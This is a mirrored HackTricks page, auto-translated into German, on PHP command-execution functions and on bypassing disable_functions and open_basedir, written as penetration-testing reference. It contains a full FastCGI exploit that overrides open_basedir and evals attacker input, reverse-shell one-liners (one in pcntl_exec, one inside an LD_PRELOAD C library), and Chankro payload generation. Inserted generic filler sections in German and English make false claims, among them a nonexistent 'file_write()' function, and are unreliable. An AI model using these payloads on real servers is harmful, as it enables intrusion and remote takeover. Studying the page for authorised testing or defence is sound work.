Mirrors/hacktricks
2
0
Fork 0
mirror of https://github.com/carlospolop/hacktricks synced 2024-12-19 09:34:03 +00:00
Code Issues Projects Releases Packages Wiki Activity
hacktricks/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/README.md
Translator workflow 6af5d4e1a0 Translated to German
2024-02-10 15:36:32 +00:00

40 KiB
Raw Blame History

PHP - Nützliche Funktionen & disable_functions/open_basedir Bypass

Lernen Sie AWS-Hacking von Null auf Held mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen:

PHP-Befehls- und Codeausführung

PHP-Befehlsausführung

Hinweis: Eine p0wny-Shell PHP-Webshell kann die folgende Funktion automatisch überprüfen und umgehen, wenn einige von ihnen deaktiviert sind.

exec - Gibt die letzte Zeile der Ausgabe von Befehlen zurück

echo exec("uname  -a");

passthru - Gibt die Ausgabe von Befehlen direkt an den Browser weiter

echo passthru("uname -a");

system - Gibt die Ausgabe von Befehlen direkt an den Browser weiter und gibt die letzte Zeile zurück

echo system("uname -a");

shell_exec - Gibt die Ausgabe von Befehlen zurück

echo shell_exec("uname -a");

`` (Backticks) - Gleich wie shell_exec()

echo `uname -a`

popen - Öffnet eine Lese- oder Schreib-Pipe zu einem Prozess eines Befehls

echo fread(popen("/bin/ls /", "r"), 4096);

proc_open - Ähnlich wie popen(), aber mit größerem Kontrollgrad

proc_close(proc_open("uname -a",array(),$something));

preg_replace

Die Funktion preg_replace wird verwendet, um Text in einem String zu suchen und zu ersetzen, basierend auf einem regulären Ausdruck. Sie hat die folgende Syntax:

preg_replace($pattern, $replacement, $subject);
  • $pattern ist der reguläre Ausdruck, nach dem gesucht werden soll.
  • $replacement ist der Text, der anstelle des gefundenen Textes eingefügt werden soll.
  • $subject ist der String, in dem die Suche durchgeführt werden soll.

Die Funktion preg_replace kann sehr nützlich sein, um bestimmte Muster in einem Text zu finden und zu ändern. Sie ermöglicht es uns, komplexe Such- und Ersetzungsvorgänge durchzuführen, indem wir reguläre Ausdrücke verwenden.

Ein Beispiel für die Verwendung von preg_replace:

$text = "Hallo, mein Name ist John Doe.";
$pattern = "/John Doe/";
$replacement = "Jane Smith";

$newText = preg_replace($pattern, $replacement, $text);
echo $newText;

Dieses Beispiel sucht nach dem Muster "John Doe" im Text und ersetzt es durch "Jane Smith". Der resultierende Text wird dann ausgegeben.

Die Funktion preg_replace ist eine leistungsstarke Funktion, die in vielen Situationen nützlich sein kann, insbesondere wenn es darum geht, Text basierend auf bestimmten Mustern zu manipulieren.

<?php preg_replace('/.*/e', 'system("whoami");', ''); ?>

pcntl_exec - Führt ein Programm aus (standardmäßig müssen Sie in modernem und nicht so modernem PHP das Modul pcntl.so laden, um diese Funktion zu verwenden)

pcntl_exec("/bin/bash", ["-c", "bash -i >& /dev/tcp/127.0.0.1/4444 0>&1"]);

mail / mb_send_mail - Diese Funktion wird verwendet, um E-Mails zu senden, kann aber auch missbraucht werden, um beliebige Befehle in den $options-Parameter einzufügen. Dies liegt daran, dass die php mail Funktion normalerweise das sendmail-Binärprogramm im System aufruft und es Ihnen ermöglicht, zusätzliche Optionen anzugeben. Sie können jedoch die Ausgabe des ausgeführten Befehls nicht sehen, daher wird empfohlen, ein Shell-Skript zu erstellen, das die Ausgabe in eine Datei schreibt, es mit mail ausführt und die Ausgabe druckt:

file_put_contents('/www/readflag.sh', base64_decode('IyEvYmluL3NoCi9yZWFkZmxhZyA+IC90bXAvZmxhZy50eHQKCg==')); chmod('/www/readflag.sh', 0777);  mail('', '', '', '', '-H \"exec /www/readflag.sh\"'); echo file_get_contents('/tmp/flag.txt');

dl - Diese Funktion kann verwendet werden, um eine PHP-Erweiterung dynamisch zu laden. Diese Funktion ist nicht immer verfügbar, daher sollten Sie überprüfen, ob sie vorhanden ist, bevor Sie versuchen, sie auszunutzen. Lesen Sie diese Seite, um zu erfahren, wie Sie diese Funktion ausnutzen können.

Ausführung von PHP-Code

Neben eval gibt es andere Möglichkeiten, PHP-Code auszuführen: include/require können für die Ausführung von Remote-Code in Form von Local File Include und Remote File Include-Schwachstellen verwendet werden.

${<php code>}              // If your input gets reflected in any PHP string, it will be executed.
eval()
assert()                   //  identical to eval()
preg_replace('/.*/e',...)  // e does an eval() on the match
create_function()          // Create a function and use eval()
include()
include_once()
require()
require_once()
$_GET['func_name']($_GET['argument']);

$func = new ReflectionFunction($_GET['func_name']);
$func->invoke();
// or
$func->invokeArgs(array());

// or serialize/unserialize function

disable_functions & open_basedir

Die Einstellung disable_functions kann in den .ini-Dateien in PHP konfiguriert werden und verbietet die Verwendung der angegebenen Funktionen. Open basedir ist die Einstellung, die PHP angibt, auf welchen Ordner es zugreifen kann.
Die PHP-Einstellung sollte im Pfad /etc/php7/conf.d oder ähnlich konfiguriert werden.

Beide Konfigurationen können im Ausgabebereich von phpinfo() gesehen werden:

open_basedir Bypass

open_basedir konfiguriert die Ordner, auf die PHP zugreifen kann. Sie können keine Dateien außerhalb dieser Ordner schreiben/lesen/ausführen, aber Sie können auch keine anderen Verzeichnisse auflisten.
Wenn Sie jedoch auf irgendeine Weise in der Lage sind, beliebigen PHP-Code auszuführen, können Sie den folgenden Code verwenden, um zu versuchen, die Beschränkung zu umgehen.

Verzeichnisse mit glob:// Bypass auflisten

In diesem ersten Beispiel wird das Protokoll glob:// mit einem Pfadbypass verwendet:

<?php
$file_list = array();
$it = new DirectoryIterator("glob:///v??/run/*");
foreach($it as $f) {
$file_list[] = $f->__toString();
}
$it = new DirectoryIterator("glob:///v??/run/.*");
foreach($it as $f) {
$file_list[] = $f->__toString();
}
sort($file_list);
foreach($file_list as $f){
echo "{$f}<br/>";
}

Hinweis1: Im Pfad können Sie auch /e??/* verwenden, um /etc/* und jeden anderen Ordner aufzulisten.
Hinweis2: Es sieht so aus, als ob ein Teil des Codes dupliziert ist, aber das ist tatsächlich notwendig!
Hinweis3: Dieses Beispiel ist nur nützlich, um Ordner aufzulisten, nicht um Dateien zu lesen.

Vollständiger open_basedir-Bypass unter Ausnutzung von FastCGI

Wenn Sie mehr über PHP-FPM und FastCGI erfahren möchten, können Sie den ersten Abschnitt dieser Seite lesen.
Wenn php-fpm konfiguriert ist, können Sie es missbrauchen, um open_basedir vollständig zu umgehen:

Beachten Sie, dass Sie zuerst herausfinden müssen, wo sich der Unix-Socket von php-fpm befindet. Normalerweise befindet er sich unter /var/run, sodass Sie den vorherigen Code verwenden können, um das Verzeichnis aufzulisten und ihn zu finden.
Code von hier.

<?php
/**
* Note : Code is released under the GNU LGPL
*
* Please do not change the header of this file
*
* This library is free software; you can redistribute it and/or modify it under the terms of the GNU
* Lesser General Public License as published by the Free Software Foundation; either version 2 of
* the License, or (at your option) any later version.
*
* This library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;
* without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
*
* See the GNU Lesser General Public License for more details.
*/
/**
* Handles communication with a FastCGI application
*
* @author      Pierrick Charron <pierrick@webstart.fr>
* @version     1.0
*/
class FCGIClient
{
const VERSION_1            = 1;
const BEGIN_REQUEST        = 1;
const ABORT_REQUEST        = 2;
const END_REQUEST          = 3;
const PARAMS               = 4;
const STDIN                = 5;
const STDOUT               = 6;
const STDERR               = 7;
const DATA                 = 8;
const GET_VALUES           = 9;
const GET_VALUES_RESULT    = 10;
const UNKNOWN_TYPE         = 11;
const MAXTYPE              = self::UNKNOWN_TYPE;
const RESPONDER            = 1;
const AUTHORIZER           = 2;
const FILTER               = 3;
const REQUEST_COMPLETE     = 0;
const CANT_MPX_CONN        = 1;
const OVERLOADED           = 2;
const UNKNOWN_ROLE         = 3;
const MAX_CONNS            = 'MAX_CONNS';
const MAX_REQS             = 'MAX_REQS';
const MPXS_CONNS           = 'MPXS_CONNS';
const HEADER_LEN           = 8;
/**
* Socket
* @var Resource
*/
private $_sock = null;
/**
* Host
* @var String
*/
private $_host = null;
/**
* Port
* @var Integer
*/
private $_port = null;
/**
* Keep Alive
* @var Boolean
*/
private $_keepAlive = false;
/**
* Constructor
*
* @param String $host Host of the FastCGI application
* @param Integer $port Port of the FastCGI application
*/
public function __construct($host, $port = 9000) // and default value for port, just for unixdomain socket
{
$this->_host = $host;
$this->_port = $port;
}
/**
* Define whether or not the FastCGI application should keep the connection
* alive at the end of a request
*
* @param Boolean $b true if the connection should stay alive, false otherwise
*/
public function setKeepAlive($b)
{
$this->_keepAlive = (boolean)$b;
if (!$this->_keepAlive && $this->_sock) {
fclose($this->_sock);
}
}
/**
* Get the keep alive status
*
* @return Boolean true if the connection should stay alive, false otherwise
*/
public function getKeepAlive()
{
return $this->_keepAlive;
}
/**
* Create a connection to the FastCGI application
*/
private function connect()
{
if (!$this->_sock) {
//$this->_sock = fsockopen($this->_host, $this->_port, $errno, $errstr, 5);
$this->_sock = stream_socket_client($this->_host, $errno, $errstr, 5);
if (!$this->_sock) {
throw new Exception('Unable to connect to FastCGI application');
}
}
}
/**
* Build a FastCGI packet
*
* @param Integer $type Type of the packet
* @param String $content Content of the packet
* @param Integer $requestId RequestId
*/
private function buildPacket($type, $content, $requestId = 1)
{
$clen = strlen($content);
return chr(self::VERSION_1)         /* version */
. chr($type)                    /* type */
. chr(($requestId >> 8) & 0xFF) /* requestIdB1 */
. chr($requestId & 0xFF)        /* requestIdB0 */
. chr(($clen >> 8 ) & 0xFF)     /* contentLengthB1 */
. chr($clen & 0xFF)             /* contentLengthB0 */
. chr(0)                        /* paddingLength */
. chr(0)                        /* reserved */
. $content;                     /* content */
}
/**
* Build an FastCGI Name value pair
*
* @param String $name Name
* @param String $value Value
* @return String FastCGI Name value pair
*/
private function buildNvpair($name, $value)
{
$nlen = strlen($name);
$vlen = strlen($value);
if ($nlen < 128) {
/* nameLengthB0 */
$nvpair = chr($nlen);
} else {
/* nameLengthB3 & nameLengthB2 & nameLengthB1 & nameLengthB0 */
$nvpair = chr(($nlen >> 24) | 0x80) . chr(($nlen >> 16) & 0xFF) . chr(($nlen >> 8) & 0xFF) . chr($nlen & 0xFF);
}
if ($vlen < 128) {
/* valueLengthB0 */
$nvpair .= chr($vlen);
} else {
/* valueLengthB3 & valueLengthB2 & valueLengthB1 & valueLengthB0 */
$nvpair .= chr(($vlen >> 24) | 0x80) . chr(($vlen >> 16) & 0xFF) . chr(($vlen >> 8) & 0xFF) . chr($vlen & 0xFF);
}
/* nameData & valueData */
return $nvpair . $name . $value;
}
/**
* Read a set of FastCGI Name value pairs
*
* @param String $data Data containing the set of FastCGI NVPair
* @return array of NVPair
*/
private function readNvpair($data, $length = null)
{
$array = array();
if ($length === null) {
$length = strlen($data);
}
$p = 0;
while ($p != $length) {
$nlen = ord($data{$p++});
if ($nlen >= 128) {
$nlen = ($nlen & 0x7F << 24);
$nlen |= (ord($data{$p++}) << 16);
$nlen |= (ord($data{$p++}) << 8);
$nlen |= (ord($data{$p++}));
}
$vlen = ord($data{$p++});
if ($vlen >= 128) {
$vlen = ($nlen & 0x7F << 24);
$vlen |= (ord($data{$p++}) << 16);
$vlen |= (ord($data{$p++}) << 8);
$vlen |= (ord($data{$p++}));
}
$array[substr($data, $p, $nlen)] = substr($data, $p+$nlen, $vlen);
$p += ($nlen + $vlen);
}
return $array;
}
/**
* Decode a FastCGI Packet
*
* @param String $data String containing all the packet
* @return array
*/
private function decodePacketHeader($data)
{
$ret = array();
$ret['version']       = ord($data{0});
$ret['type']          = ord($data{1});
$ret['requestId']     = (ord($data{2}) << 8) + ord($data{3});
$ret['contentLength'] = (ord($data{4}) << 8) + ord($data{5});
$ret['paddingLength'] = ord($data{6});
$ret['reserved']      = ord($data{7});
return $ret;
}
/**
* Read a FastCGI Packet
*
* @return array
*/
private function readPacket()
{
if ($packet = fread($this->_sock, self::HEADER_LEN)) {
$resp = $this->decodePacketHeader($packet);
$resp['content'] = '';
if ($resp['contentLength']) {
$len  = $resp['contentLength'];
while ($len && $buf=fread($this->_sock, $len)) {
$len -= strlen($buf);
$resp['content'] .= $buf;
}
}
if ($resp['paddingLength']) {
$buf=fread($this->_sock, $resp['paddingLength']);
}
return $resp;
} else {
return false;
}
}
/**
* Get Informations on the FastCGI application
*
* @param array $requestedInfo information to retrieve
* @return array
*/
public function getValues(array $requestedInfo)
{
$this->connect();
$request = '';
foreach ($requestedInfo as $info) {
$request .= $this->buildNvpair($info, '');
}
fwrite($this->_sock, $this->buildPacket(self::GET_VALUES, $request, 0));
$resp = $this->readPacket();
if ($resp['type'] == self::GET_VALUES_RESULT) {
return $this->readNvpair($resp['content'], $resp['length']);
} else {
throw new Exception('Unexpected response type, expecting GET_VALUES_RESULT');
}
}
/**
* Execute a request to the FastCGI application
*
* @param array $params Array of parameters
* @param String $stdin Content
```php
* @return String
*/
public function request(array $params, $stdin)
{
$response = '';
$this->connect();
$request = $this->buildPacket(self::BEGIN_REQUEST, chr(0) . chr(self::RESPONDER) . chr((int) $this->_keepAlive) . str_repeat(chr(0), 5));
$paramsRequest = '';
foreach ($params as $key => $value) {
$paramsRequest .= $this->buildNvpair($key, $value);
}
if ($paramsRequest) {
$request .= $this->buildPacket(self::PARAMS, $paramsRequest);
}
$request .= $this->buildPacket(self::PARAMS, '');
if ($stdin) {
$request .= $this->buildPacket(self::STDIN, $stdin);
}
$request .= $this->buildPacket(self::STDIN, '');
fwrite($this->_sock, $request);
do {
$resp = $this->readPacket();
if ($resp['type'] == self::STDOUT || $resp['type'] == self::STDERR) {
$response .= $resp['content'];
}
} while ($resp && $resp['type'] != self::END_REQUEST);
var_dump($resp);
if (!is_array($resp)) {
throw new Exception('Bad request');
}
switch (ord($resp['content']{4})) {
case self::CANT_MPX_CONN:
throw new Exception('Diese App kann nicht multiplexen [CANT_MPX_CONN]');
break;
case self::OVERLOADED:
throw new Exception('Neue Anfrage abgelehnt; zu beschäftigt [OVERLOADED]');
break;
case self::UNKNOWN_ROLE:
throw new Exception('Rollenwert unbekannt [UNKNOWN_ROLE]');
break;
case self::REQUEST_COMPLETE:
return $response;
}
}
}
?>
<?php
// Der eigentliche Exploit beginnt hier
if (!isset($_REQUEST['cmd'])) {
die("Überprüfen Sie Ihre Eingabe\n");
}
if (!isset($_REQUEST['filepath'])) {
$filepath = __FILE__;
}else{
$filepath = $_REQUEST['filepath'];
}
$req = '/'.basename($filepath);
$uri = $req .'?'.'command='.$_REQUEST['cmd'];
$client = new FCGIClient("unix:///var/run/php-fpm.sock", -1);
$code = "<?php eval(\$_REQUEST['command']);?>"; // PHP Payload -- Macht nichts
$php_value = "allow_url_include = On\nopen_basedir = /\nauto_prepend_file = php://input";
//$php_value = "allow_url_include = On\nopen_basedir = /\nauto_prepend_file = http://127.0.0.1/e.php";
$params = array(
'GATEWAY_INTERFACE' => 'FastCGI/1.0',
'REQUEST_METHOD'    => 'POST',
'SCRIPT_FILENAME'   => $filepath,
'SCRIPT_NAME'       => $req,
'QUERY_STRING'      => 'command='.$_REQUEST['cmd'],
'REQUEST_URI'       => $uri,
'DOCUMENT_URI'      => $req,
#'DOCUMENT_ROOT'     => '/',
'PHP_VALUE'         => $php_value,
'SERVER_SOFTWARE'   => '80sec/wofeiwo',
'REMOTE_ADDR'       => '127.0.0.1',
'REMOTE_PORT'       => '9985',
'SERVER_ADDR'       => '127.0.0.1',
'SERVER_PORT'       => '80',
'SERVER_NAME'       => 'localhost',
'SERVER_PROTOCOL'   => 'HTTP/1.1',
'CONTENT_LENGTH'    => strlen($code)
);
// print_r($_REQUEST);
// print_r($params);
//echo "Call: $uri\n\n";
echo $client->request($params, $code)."\n";
?>

Dieses Skript kommuniziert mit dem Unix-Socket von php-fpm (normalerweise in /var/run, wenn fpm verwendet wird), um beliebigen Code auszuführen. Die Einstellungen von open_basedir werden durch das gesendete PHP_VALUE Attribut überschrieben.
Beachten Sie, wie eval verwendet wird, um den PHP-Code auszuführen, den Sie im cmd-Parameter senden.
Beachten Sie auch die auskommentierte Zeile 324, Sie können sie auskommentieren und das Payload wird automatisch eine Verbindung zur angegebenen URL herstellen und den dort enthaltenen PHP-Code ausführen.
Greifen Sie einfach auf http://vulnerable.com:1337/l.php?cmd=echo file_get_contents('/etc/passwd'); zu, um den Inhalt der Datei /etc/passwd zu erhalten.

{% hint style="warning" %} Sie denken vielleicht, dass Sie genauso wie Sie die open_basedir-Konfiguration überschrieben haben, auch disable_functions überschreiben können. Probieren Sie es aus, aber es wird nicht funktionieren, anscheinend kann disable_functions nur in einer .ini PHP-Konfigurationsdatei konfiguriert werden und die Änderungen, die Sie mit PHP_VALUE vornehmen, sind auf diese spezielle Einstellung nicht wirksam. {% endhint %}

disable_functions umgehen

Wenn Sie PHP-Code auf einer Maschine ausführen können, möchten Sie wahrscheinlich zum nächsten Level übergehen und beliebige Systembefehle ausführen. In dieser Situation ist es üblich festzustellen, dass die meisten oder alle PHP Funktionen, die das Ausführen von Systembefehlen ermöglichen, in disable_functions deaktiviert wurden.
Schauen wir uns also an, wie Sie diese Einschränkung umgehen können (falls möglich).

Automatische Umgehungserkennung

Sie können das Tool https://github.com/teambi0s/dfunc-bypasser verwenden und es zeigt Ihnen an, welche Funktion (falls vorhanden) Sie verwenden können, um disable_functions zu umgehen.

Umgehung durch Verwendung anderer Systemfunktionen

Gehen Sie einfach zum Anfang dieser Seite zurück und prüfen Sie, ob eine der Befehlsausführungsfunktionen deaktiviert ist und in der Umgebung verfügbar ist. Wenn Sie eine davon finden, können Sie sie verwenden, um beliebige Systembefehle auszuführen.

LD_PRELOAD Umgehung

Es ist bekannt, dass einige Funktionen in PHP wie mail() Binärdateien im System ausführen. Daher können Sie sie missbrauchen, indem Sie die Umgebungsvariable LD_PRELOAD verwenden, um sie dazu zu bringen, eine beliebige Bibliothek zu laden, die alles ausführen kann.

Funktionen, die verwendet werden können, um disable_functions mit LD_PRELOAD zu umgehen

  • mail
  • mb_send_mail: Effektiv, wenn das Modul php-mbstring installiert ist.
  • imap_mail: Funktioniert, wenn das Modul php-imap vorhanden ist.
  • libvirt_connect: Erfordert das Modul php-libvirt-php.
  • gnupg_init: Verwendbar mit dem installierten Modul php-gnupg.
  • new imagick(): Diese Klasse kann missbraucht werden, um Einschränkungen zu umgehen. Detaillierte Exploitationstechniken finden Sie in einem umfassenden Writeup hier.

Hier finden Sie eine Bibliothek, die Sie kompilieren können, um die Umgebungsvariable LD_PRELOAD zu missbrauchen:

#include <unistd.h>
#include <sys/types.h>
#include <stdio.h>
#include <stdlib.h>

uid_t getuid(void){
unsetenv("LD_PRELOAD");
system("bash -c \"sh -i >& /dev/tcp/127.0.0.1/1234 0>&1\"");
return 1;
}

Umgehung mit Chankro

Um diese Konfigurationsfehler auszunutzen, können Sie Chankro verwenden. Dies ist ein Tool, das einen PHP-Exploit generiert, den Sie auf den verwundbaren Server hochladen und ausführen müssen (über den Webzugriff).
Chankro schreibt in die Festplatte des Opfers die Bibliothek und die Reverse-Shell, die Sie ausführen möchten, und verwendet den Trick mit LD_PRELOAD + PHP mail()-Funktion, um die Reverse-Shell auszuführen.

Beachten Sie, dass in der disable_functions-Liste mail und putenv nicht enthalten sein dürfen, um Chankro verwenden zu können.
Im folgenden Beispiel sehen Sie, wie Sie einen Chankro-Exploit für Arch 64 erstellen, der whoami ausführt und das Ergebnis in /tmp/chankro_shell.out speichert. Chankro schreibt die Bibliothek und die Nutzlast in /tmp und der endgültige Exploit wird bicho.php genannt (das ist die Datei, die Sie auf den Server des Opfers hochladen müssen):

{% tabs %} {% tab title="shell.sh" %}

#!/bin/sh
whoami > /tmp/chankro_shell.out

PHP Nützliche Funktionen: disable_functions und open_basedir Bypass

In einigen Fällen kann es erforderlich sein, die Funktionen zu deaktivieren, die in der disable_functions-Konfiguration von PHP aufgeführt sind. Dies kann nützlich sein, um bestimmte Sicherheitsbeschränkungen zu umgehen und zusätzliche Funktionalitäten zu ermöglichen.

disable_functions

Die disable_functions-Konfiguration in PHP ermöglicht es, bestimmte Funktionen zu deaktivieren, um die Sicherheit zu erhöhen. Diese Funktionen können beispielsweise das Ausführen von Shell-Befehlen, das Öffnen von Netzwerkverbindungen oder das Lesen von Dateien ermöglichen.

Um diese Funktionen zu umgehen, gibt es verschiedene Ansätze:

1. Shell-Befehle ausführen

Wenn die Funktion exec deaktiviert ist, kann man versuchen, Shell-Befehle mit anderen Funktionen wie system, passthru oder popen auszuführen.

2. Netzwerkverbindungen öffnen

Wenn die Funktionen fsockopen oder pfsockopen deaktiviert sind, kann man versuchen, eine Verbindung mit anderen Funktionen wie stream_socket_client oder curl herzustellen.

3. Dateien lesen

Wenn die Funktionen fopen, file_get_contents oder readfile deaktiviert sind, kann man versuchen, Dateien mit anderen Funktionen wie file oder file_exists zu lesen.

open_basedir Bypass

Die open_basedir-Konfiguration in PHP legt fest, in welchen Verzeichnissen PHP-Dateien geöffnet werden dürfen. Dies kann dazu führen, dass bestimmte Dateien oder Verzeichnisse nicht zugänglich sind.

Um diese Beschränkung zu umgehen, gibt es verschiedene Ansätze:

1. Symlink-Trick

Man kann versuchen, einen symbolischen Link (Symlink) auf ein Verzeichnis außerhalb des open_basedir-Bereichs zu erstellen und dann auf dieses Verzeichnis zuzugreifen.

2. PHP Wrapper

Man kann versuchen, den php://-Wrapper zu verwenden, um auf Dateien außerhalb des open_basedir-Bereichs zuzugreifen.

3. Datei-Upload

Wenn die Datei-Upload-Funktion aktiviert ist, kann man versuchen, eine Datei außerhalb des open_basedir-Bereichs hochzuladen und dann auf diese zuzugreifen.

Es ist wichtig zu beachten, dass das Umgehen von Sicherheitsbeschränkungen in PHP potenzielle Sicherheitsrisiken mit sich bringen kann. Es sollte daher mit Vorsicht und nur zu legitimen Zwecken durchgeführt werden.

python2 chankro.py --arch 64 --input shell.sh --path /tmp --output bicho.php

{% endtab %} {% endtabs %}

Wenn Sie feststellen, dass die mail-Funktion durch deaktivierte Funktionen blockiert ist, können Sie möglicherweise die Funktion mb_send_mail verwenden.
Weitere Informationen zu dieser Technik und Chankro finden Sie hier: https://www.tarlogic.com/en/blog/how-to-bypass-disable_functions-and-open_basedir/

"Bypass" mit PHP-Funktionen

Beachten Sie, dass Sie mit PHP Dateien lesen und schreiben, Verzeichnisse erstellen und Berechtigungen ändern können.
Sie können sogar Datenbanken auslesen.
Vielleicht können Sie mit PHP den Server durchsuchen und einen Weg finden, um Privilegien zu eskalieren/Befehle auszuführen (zum Beispiel das Lesen eines privaten SSH-Schlüssels).

Ich habe eine Webshell erstellt, die es sehr einfach macht, diese Aktionen auszuführen (beachten Sie, dass die meisten Webshells Ihnen diese Optionen ebenfalls bieten): https://github.com/carlospolop/phpwebshelllimited

Module/versionsabhängige Umgehungen

Es gibt verschiedene Möglichkeiten, disable_functions zu umgehen, wenn ein bestimmtes Modul verwendet wird oder eine bestimmte PHP-Version ausgenutzt wird:

Automatisches Tool

Das folgende Skript versucht einige der hier kommentierten Methoden:
https://github.com/l3m0n/Bypass_Disable_functions_Shell/blob/master/shell.php

Weitere interessante PHP-Funktionen

Liste der Funktionen, die Rückruffunktionen akzeptieren

Diese Funktionen akzeptieren einen Zeichenkettenparameter, der verwendet werden kann, um eine Funktion nach Wahl des Angreifers aufzurufen. Je nach Funktion hat der Angreifer möglicherweise die Möglichkeit, einen Parameter zu übergeben oder nicht. In diesem Fall könnte eine Informations-Disclosure-Funktion wie phpinfo() verwendet werden.

Rückruffunktionen / Callables

Folgende Listen von hier

// Function => Position of callback arguments
'ob_start' => 0,
'array_diff_uassoc' => -1,
'array_diff_ukey' => -1,
'array_filter' => 1,
'array_intersect_uassoc' => -1,
'array_intersect_ukey' => -1,
'array_map' => 0,
'array_reduce' => 1,
'array_udiff_assoc' => -1,
'array_udiff_uassoc' => array(-1, -2),
'array_udiff' => -1,
'array_uintersect_assoc' => -1,
'array_uintersect_uassoc' => array(-1, -2),
'array_uintersect' => -1,
'array_walk_recursive' => 1,
'array_walk' => 1,
'assert_options' => 1,
'uasort' => 1,
'uksort' => 1,
'usort' => 1,
'preg_replace_callback' => 1,
'spl_autoload_register' => 0,
'iterator_apply' => 1,
'call_user_func' => 0,
'call_user_func_array' => 0,
'register_shutdown_function' => 0,
'register_tick_function' => 0,
'set_error_handler' => 0,
'set_exception_handler' => 0,
'session_set_save_handler' => array(0, 1, 2, 3, 4, 5),
'sqlite_create_aggregate' => array(2, 3),
'sqlite_create_function' => 2,

Informationslecks

Die meisten dieser Funktionsaufrufe sind keine Schwachstellen. Es kann jedoch eine Sicherheitslücke darstellen, wenn die zurückgegebenen Daten für einen Angreifer sichtbar sind. Wenn ein Angreifer phpinfo() sehen kann, handelt es sich definitiv um eine Sicherheitslücke.

phpinfo
posix_mkfifo
posix_getlogin
posix_ttyname
getenv
get_current_user
proc_get_status
get_cfg_var
disk_free_space
disk_total_space
diskfreespace
getcwd
getlastmo
getmygid
getmyinode
getmypid
getmyuid

Andere

In addition to the commonly used PHP functions, there are some other functions that can be useful during web application penetration testing. These functions are often disabled by default in PHP configurations, but if they are enabled, they can be leveraged for various purposes.

disable_functions

The disable_functions directive in the PHP configuration file (php.ini) is used to disable specific PHP functions. This is a security measure to prevent the execution of potentially dangerous functions. However, if this directive is not properly configured, it can lead to vulnerabilities.

Bypassing disable_functions

There are several techniques that can be used to bypass the disable_functions directive and execute disabled functions. These techniques exploit vulnerabilities in the PHP interpreter or leverage other functions to achieve the desired functionality.

open_basedir bypass

The open_basedir directive in the PHP configuration restricts the files that can be accessed by PHP scripts. It specifies a list of directories that PHP is allowed to access. However, there are ways to bypass this restriction and access files outside the specified directories.

Useful PHP functions

Here are some useful PHP functions that can be used during web application penetration testing:

  • exec: Executes a command in the shell.
  • system: Executes an external program and displays the output.
  • shell_exec: Executes a command and returns the complete output as a string.
  • passthru: Executes a command and displays the raw output.
  • popen: Opens a pipe to a process and returns a file pointer.
  • proc_open: Opens a process and returns a process resource.
  • pcntl_exec: Executes a program and replaces the current process.
  • dl: Loads a PHP extension at runtime.
  • mail: Sends an email message.
  • putenv: Sets the value of an environment variable.
  • ini_set: Sets the value of a configuration option.
  • error_log: Sends an error message to a log file or to a remote destination.
  • highlight_file: Outputs a syntax-highlighted version of a file.
  • readfile: Reads a file and writes it to the output buffer.
  • file_get_contents: Reads the contents of a file into a string.
  • file_put_contents: Writes a string to a file.
  • fopen: Opens a file or URL.
  • fwrite: Writes to an open file.
  • file: Reads an entire file into an array.
  • include: Includes and evaluates the specified file.
  • require: Requires and evaluates the specified file.
  • eval: Evaluates a string as PHP code.

These functions can be used for various purposes, such as executing commands, reading and writing files, sending emails, and manipulating PHP configurations. However, it is important to use them responsibly and only in controlled environments, such as during authorized penetration testing engagements.

extract    // Opens the door for register_globals attacks (see study in scarlet).
parse_str  // works like extract if only one argument is given.
putenv
ini_set
mail       // has CRLF injection in the 3rd parameter, opens the door for spam.
header     // on old systems CRLF injection could be used for xss or other purposes, now it is still a problem if they do a header("location: ..."); and they do not die();. The script keeps executing after a call to header(), and will still print output normally. This is nasty if you are trying to protect an administrative area.
proc_nice
proc_terminate
proc_close
pfsockopen
fsockopen
apache_child_terminate
posix_kill
posix_mkfifo
posix_setpgid
posix_setsid
posix_setuid

Dateisystemfunktionen

Laut RATS sind alle Dateisystemfunktionen in PHP böse. Einige davon scheinen für den Angreifer nicht sehr nützlich zu sein. Andere sind nützlicher, als man denkt. Zum Beispiel, wenn allow_url_fopen=On ist, kann eine URL als Dateipfad verwendet werden. Daher kann ein Aufruf von copy($_GET['s'], $_GET['d']); verwendet werden, um ein PHP-Skript überall im System hochzuladen. Außerdem können, wenn eine Website anfällig für eine über GET gesendete Anfrage ist, alle diese Dateisystemfunktionen missbraucht werden, um einen Angriff über Ihren Server auf einen anderen Host umzuleiten.

Öffnen des Dateisystemhandlers

fopen
tmpfile
bzopen
gzopen
SplFileObject->__construct

Dateisystem schreiben (teilweise in Kombination mit Lesen)

In some cases, being able to write to the filesystem can be a valuable skill during a penetration test. This allows you to modify files, create new ones, or even delete existing ones. Additionally, combining this with the ability to read files can provide even more opportunities for exploitation.

There are several PHP functions that can be used to write to the filesystem. Some of the most commonly used ones include:

  • file_put_contents(): This function allows you to write data to a file. It can be used to create new files or overwrite existing ones. The syntax is as follows: file_put_contents($filename, $data).
  • fwrite(): This function is used to write data to an open file. It requires a file handle as the first parameter, followed by the data to be written. The syntax is as follows: fwrite($handle, $data).
  • file_write(): This function is similar to fwrite(), but it writes the data directly to the file specified by the filename. The syntax is as follows: file_write($filename, $data).

It's important to note that in order to write to the filesystem, the PHP script must have the necessary permissions. Additionally, some PHP configurations may have restrictions in place, such as the disable_functions directive or the open_basedir restriction. These can limit the ability to write to certain directories or execute certain functions.

To bypass these restrictions, you can try the following techniques:

  • disable_functions bypass: If the disable_functions directive is in place, preventing the use of certain functions, you can try using alternative functions or methods to achieve the same result. For example, if file_put_contents() is disabled, you can try using fopen() and fwrite() instead.
  • open_basedir bypass: If the open_basedir restriction is in place, limiting the directories that PHP can access, you can try using directory traversal techniques to access files outside of the restricted directories. This involves manipulating file paths to navigate to different directories.

By understanding how to write to the filesystem and bypassing any restrictions, you can effectively exploit vulnerabilities and gain further access during a penetration test. However, it's important to always ensure that you have proper authorization and permission before attempting any such actions.

chgrp
chmod
chown
copy
file_put_contents
lchgrp
lchown
link
mkdir
move_uploaded_file
rename
rmdir
symlink
tempnam
touch
unlink
imagepng     // 2nd parameter is a path.
imagewbmp    // 2nd parameter is a path.
image2wbmp   // 2nd parameter is a path.
imagejpeg    // 2nd parameter is a path.
imagexbm     // 2nd parameter is a path.
imagegif     // 2nd parameter is a path.
imagegd      // 2nd parameter is a path.
imagegd2     // 2nd parameter is a path.
iptcembed
ftp_get
ftp_nb_get
scandir

Von Dateisystem lesen

